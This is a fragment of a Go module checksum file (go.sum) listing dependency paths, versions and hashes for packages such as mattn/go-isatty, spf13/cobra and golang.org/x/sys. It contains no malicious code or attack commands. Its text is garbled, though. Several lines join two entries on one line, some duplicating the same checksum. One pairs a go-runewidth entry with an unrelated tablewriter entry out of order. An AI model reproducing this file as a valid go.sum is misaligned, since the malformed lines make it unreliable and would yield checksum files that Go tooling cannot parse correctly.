github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/konsorten/go-windows-terminal-sequences v1.0.3 h1:CE8S1cTafDpPvMhIxNJKvHsGVBgn1xWYf1NbHQhywc8=
github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
github.com/mattn/go-colorable v0.0.0-20170327083344-ded68f7a9561/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8= github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.7 h1:Ei8KR0497xHyKJPAv59M1dkC+rOZCMBJ+t3fZ+twI54=
github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/olekukonko/tablewriter v0.0.4 h1:vHD/YYe1Wolo78koG299f7V/VAS08c6IpCLn+Ejf/w8=
github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc=
github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI=
github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg=
github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY=
github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=
github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U=
github.com/olekukonko/tablewriter v0.0.4/go.mod h1:zq6QwlOf5SlnkVbMSr5EoBv3636FWnp+qbPhuoO21uA= github.com/olekukonko/tablewriter v0.0.4/go.mod h1:zq6QwlOf5SlnkVbMSr5EoBv3636FWnp+qbPhuoO21uA=
github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc=
github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
github.com/peterh/liner v0.0.0-20170317030525-88609521dc4b/go.mod h1:xIteQHvHuaLYG9IFj6mSxM0fCKrs34IrEQUhOYuGPHc=
github.com/peterh/liner v1.2.0 h1:w/UPXyl5GfahFxcTOz2j9wCIHNI+pUPr2laqpojKNCg=
github.com/peterh/liner v1.2.0/go.mod h1:CRroGNssyjTd/qIG2FyxByd2S8JEAZXBl4qUrZf8GS0=
github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso=
github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro=
github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4=
github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk=
github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA=
github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU=
github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR/rfWxYHBV53g=
github.com/russross/blackfriday v1.6.0-pre.1 h1:APCbYYLyOoAWCgZNdHFH3o9uon5Z+N7gp6pThPjuvwI=
github.com/russross/blackfriday/v2 v2.0.1 h1:lPqVAte+HuHNfhJ/0LC98ESWRz8afy9tM/0RK8m9o+Q=
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts=
github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc=
github.com/shurcooL/sanitized_anchor_name v1.0.0 h1:PdmoCO6wvbs+7yrJyMORt4/BmY5IYyJwS/kOiWx8mHo=
github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc=
github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo=
github.com/sirupsen/logrus v1.6.0 h1:UBcNElsrwanuuMsnGSlYmtmgbb23qDR5dG+6X6Oo89I=
github.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88=
github.com/sirupsen/logrus v1.7.0 h1:ShrD1U9pZB12TX0cVy0DtePoCH97K8EtX+mg7ZARUtM=
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc=
github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=
github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM=
github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA=
github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=
github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
github.com/spf13/cobra v0.0.0-20170417170307-b6cb39589372/go.mod h1:1l0Ry5zgKvJasoi3XT1TypsSe7PqH0Sj9dhYf7v3XqQ=
github.com/spf13/cobra v1.1.1 h1:KfztREH0tPxJJ+geloSLaAkaPkr4ki2Er5quFV1TDo4=
github.com/spf13/cobra v1.1.1/go.mod h1:WnodtKOvamDL/PwE2M4iKs8aMDBZ5Q5klgD3qfVJQMI=
github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo=
github.com/spf13/pflag v0.0.0-20170417173400-9e4c21054fa1/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/spf13/viper v1.7.0/go.mod h1:8WkrPz2fc9jxqZNCJI/76HCieCp4Q8HaLFoCha5qpdg=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU=
go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU=
go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU=
go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8=
go.starlark.net v0.0.0-20190702223751-32f345186213/go.mod h1:c1/X6cHgvdXj6pUlmWKMkuqRnW4K8x2vwt6JAaaircg=
go.starlark.net v0.0.0-20201113214410-e292e66a28cd h1:KKEslVKDglPoS+JDn+W1daHnbVVA4OAiyeVgOoPvzWY=
go.starlark.net v0.0.0-20201113214410-e292e66a28cd/go.mod h1:SnK8mYUdy/e3grZjI5tewfCdVSnfBHt0V8pFoqe4V2Y=
go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0=
go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
golang.org/x/arch v0.0.0-20190927153633-4e8777c89be4 h1:QlVATYS7JBoZMVaf+cNjb90WD/beKVHnIxFKT4QaHVI=
golang.org/x/arch v0.0.0-20190927153633-4e8777c89be4/go.mod h1:flIaEI6LNU6xOCD5PaJvn9wGP0agmIOqjrtsKGRguv4=
golang.org/x/arch v0.0.0-20201008161808-52c3e6f60cff h1:XmKBi9R6duxOB3lfc72wyrwiOY7X2Jl1wuI+RFOyMDE=
golang.org/x/arch v0.0.0-20201008161808-52c3e6f60cff/go.mod h1:flIaEI6LNU6xOCD5PaJvn9wGP0agmIOqjrtsKGRguv4=
golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8=
golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek=
golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY=
golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js=
golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE=
golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o=
golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc=
golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY=
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190626221950-04f50cda93cb/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae h1:/WDfKMnPU+m5M4xB+6x4kaepxRw6jWvR5iDRdvjHgy8=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201116194326-cc9327a14d48 h1:AYCWBZhgIw6XobZ5CibNJr0Rc4ZofGGKvWa1vcx2IGk=
golang.org/x/sys v0.0.0-20201116194326-cc9327a14d48/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
